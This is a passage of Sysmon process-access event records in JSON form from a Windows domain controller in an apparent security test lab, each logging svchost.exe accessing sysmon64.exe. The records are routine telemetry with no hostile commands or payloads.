11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 